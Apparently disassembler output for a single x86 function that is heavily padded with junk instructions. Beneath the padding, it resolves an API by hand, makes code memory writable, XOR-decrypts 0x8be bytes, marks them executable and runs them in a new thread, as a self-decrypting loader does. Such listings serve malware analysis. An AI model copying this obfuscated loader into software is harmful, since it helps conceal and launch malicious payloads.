Function at 0x401d2a
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
inc edi
dec edi
popfd
call fcn.00402103
push edi
pop edi
xchg esi, ebx
xchg ebx, esi
lea eax, [ebp - 0xd8]
pushfd
inc ebx
dec ebx
popfd
mov esi, esi
mov ebx, 0x61
pushfd
inc edx
dec edx
popfd
push edi
pop edi
add bx, 0xa
pushfd
inc edi
dec edi
popfd
mov word [eax], bx
pushfd
inc ecx
dec ecx
popfd
mov ebx, ebx
sub bx, 6
xchg edx, ecx
xchg ecx, edx
mov word [eax + 2], bx
mov edi, edi
push eax
push edi
pop edi
pop eax
add bx, 0xd
pushfd
push eax
add esp, 4
popfd
xchg ebx, ecx
xchg ecx, ebx
mov word [eax + 4], bx
pushfd
xor eax, 0xdbcd3a74
xor eax, 0xdbcd3a74
popfd
sub bx, 4
nop
mov word [eax + 6], bx
pushfd
inc edx
dec edx
popfd
sub bx, 9
pushfd
push eax
add esp, 4
popfd
mov word [eax + 8], bx
xchg ecx, edx
xchg edx, ecx
add bx, 7
push ebx
pop ebx
mov word [eax + 0xa], bx
push eax
push esi
pop esi
pop eax
xchg esi, ebx
xchg ebx, esi
sub bx, 0x39
xchg edi, edx
xchg edx, edi
xchg edx, edi
xchg edi, edx
mov word [eax + 0xc], bx
pushfd
push 0xd2bf845e
add esp, 4
popfd
xchg edx, ecx
xchg ecx, edx
dec bx
mov eax, eax
mov edi, edi
mov word [eax + 0xe], bx
push eax
push esi
pop esi
pop eax
push eax
pop eax
sub bx, 4
xchg esi, eax
xchg esi, eax
pushfd
xor eax, 0xe73922e8
xor eax, 0xe73922e8
popfd
mov word [eax + 0x10], bx
xchg edi, edi
pushfd
push 0xb7749a34
add esp, 4
popfd
add bx, 0x36
pushfd
push esi
add esp, 4
popfd
xchg ebx, ebx
mov word [eax + 0x12], bx
pushfd
inc edx
dec edx
popfd
add bx, 8
xchg edi, eax
xchg edi, eax
mov word [eax + 0x14], bx
pushfd
inc ebx
dec ebx
popfd
mov word [eax + 0x16], bx
pushfd
inc ebx
dec ebx
popfd
mov edx, edx
mov word [eax + 0x18], 0
push ecx
push esi
pop esi
pop ecx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
inc edi
dec edi
popfd
xchg edi, edi
mov dword [ebp - 0x10], eax
xchg edi, edi
pushfd
inc edi
dec edi
popfd
lea eax, [ebp - 0xd8]
push ebx
pop ebx
mov ebx, 0x61
push edx
pop edx
sub bl, 0xb
push ebx
push ecx
pop ecx
pop ebx
xchg ecx, edi
xchg edi, ecx
mov byte [eax], bl
xchg ecx, ecx
add bl, 0x13
pushfd
push 0xcb7ffdff
add esp, 4
popfd
mov byte [eax + 1], bl
xchg esi, esi
xchg edx, eax
xchg edx, eax
add bl, 9
xchg esi, ebx
xchg ebx, esi
mov byte [eax + 2], bl
pushfd
push eax
add esp, 4
popfd
add bl, 2
mov edx, edx
mov byte [eax + 3], bl
push edi
pop edi
inc bl
pushfd
xor eax, 0x66a91a9b
xor eax, 0x66a91a9b
popfd
mov byte [eax + 4], bl
push esi
push eax
pop eax
pop esi
sub bl, 0x14
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 5], bl
push edi
push esi
pop esi
pop edi
pushfd
push 0xc431f601
add esp, 4
popfd
add bl, 0xb
pushfd
xor ecx, 0x3bb7721
xor ecx, 0x3bb7721
popfd
mov byte [eax + 6], bl
pushfd
xor ecx, 0x3fedff3
xor ecx, 0x3fedff3
popfd
sub bl, 0x1c
pushfd
inc ebx
dec ebx
popfd
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 7], bl
xchg edx, ecx
xchg ecx, edx
pushfd
xor ecx, 0x25b08017
xor ecx, 0x25b08017
popfd
add bl, 0x22
pushfd
inc edi
dec edi
popfd
mov byte [eax + 8], bl
push edi
pop edi
push ebx
push esi
pop esi
pop ebx
sub bl, 3
push esi
pop esi
mov byte [eax + 9], bl
push eax
pop eax
push ebx
pop ebx
add bl, 5
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 0xa], bl
pushfd
push 0x4e9411ef
add esp, 4
popfd
pushfd
push eax
add esp, 4
popfd
sub bl, 0xf
xchg ecx, ebx
xchg ebx, ecx
mov byte [eax + 0xb], bl
pushfd
push edi
add esp, 4
popfd
push ebx
push edx
pop edx
pop ebx
sub bl, 2
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 0xc], bl
pushfd
push esi
add esp, 4
popfd
pushfd
push 0xeeaa5338
add esp, 4
popfd
add bl, 0x11
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 0xd], bl
push ecx
pop ecx
pushfd
push 0x3823c47a
add esp, 4
popfd
mov byte [eax + 0xe], 0
pushfd
inc esi
dec esi
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push ebx
pop ebx
pushfd
push esi
add esp, 4
popfd
mov dword [ebp - 0xc], eax
pushfd
xor esi, 0xf3f78603
xor esi, 0xf3f78603
popfd
pushfd
inc edx
dec edx
popfd
lea eax, [ebp - 8]
pushfd
xor edi, 0x4a788a5b
xor edi, 0x4a788a5b
popfd
xchg ecx, ecx
push eax
push 4
push 0x8be
push entry0
call dword [ebp - 0xc]
xchg ebx, edi
xchg edi, ebx
mov edi, entry0
pushfd
push ebx
add esp, 4
popfd
mov esi, 0x40100e
push eax
pop eax
mov ecx, 0x8be
pushfd
push edi
add esp, 4
popfd
xchg esi, esi
mov edx, 0xe9b8505
pushfd
push 0x2840be29
add esp, 4
popfd
mov ebx, 0xedac19a2
pushfd
xor ebx, 0x98f5c928
xor ebx, 0x98f5c928
popfd
cld
xchg edi, edi
lodsb al, byte [esi]
xchg ebx, ebx
xor al, dl
mov ebx, ebx
stosb byte es:[edi], al
mov ecx, ecx
ror edx, 5
xchg edx, edx
imul edx, edx, 7
nop
test ebx, 1
mov esi, esi
je 0x402062
mov edx, edx
add esi, 1
xchg ebx, ebx
ror ebx, 1
mov edi, edi
dec ecx
xchg ebx, ebx
test ecx, ecx
nop
jne 0x40203c
pushfd
push edx
add esp, 4
popfd
lea eax, [ebp - 8]
push ebx
push esi
pop esi
pop ebx
push eax
push 0x20
push 0x8be
push entry0
call dword [ebp - 0xc]
pushfd
inc edx
dec edx
popfd
pushfd
push ecx
add esp, 4
popfd
lea eax, [ebp - 4]
pushfd
xor ebx, 0xfdb54cff
xor ebx, 0xfdb54cff
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
xor esi, 0x5de6fba6
xor esi, 0x5de6fba6
popfd
push ecx
push eax
pop eax
pop ecx
pushfd
inc esi
dec esi
popfd
pushfd
push esi
add esp, 4
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push eax
add esp, 4
popfd
jmp 0x4020cc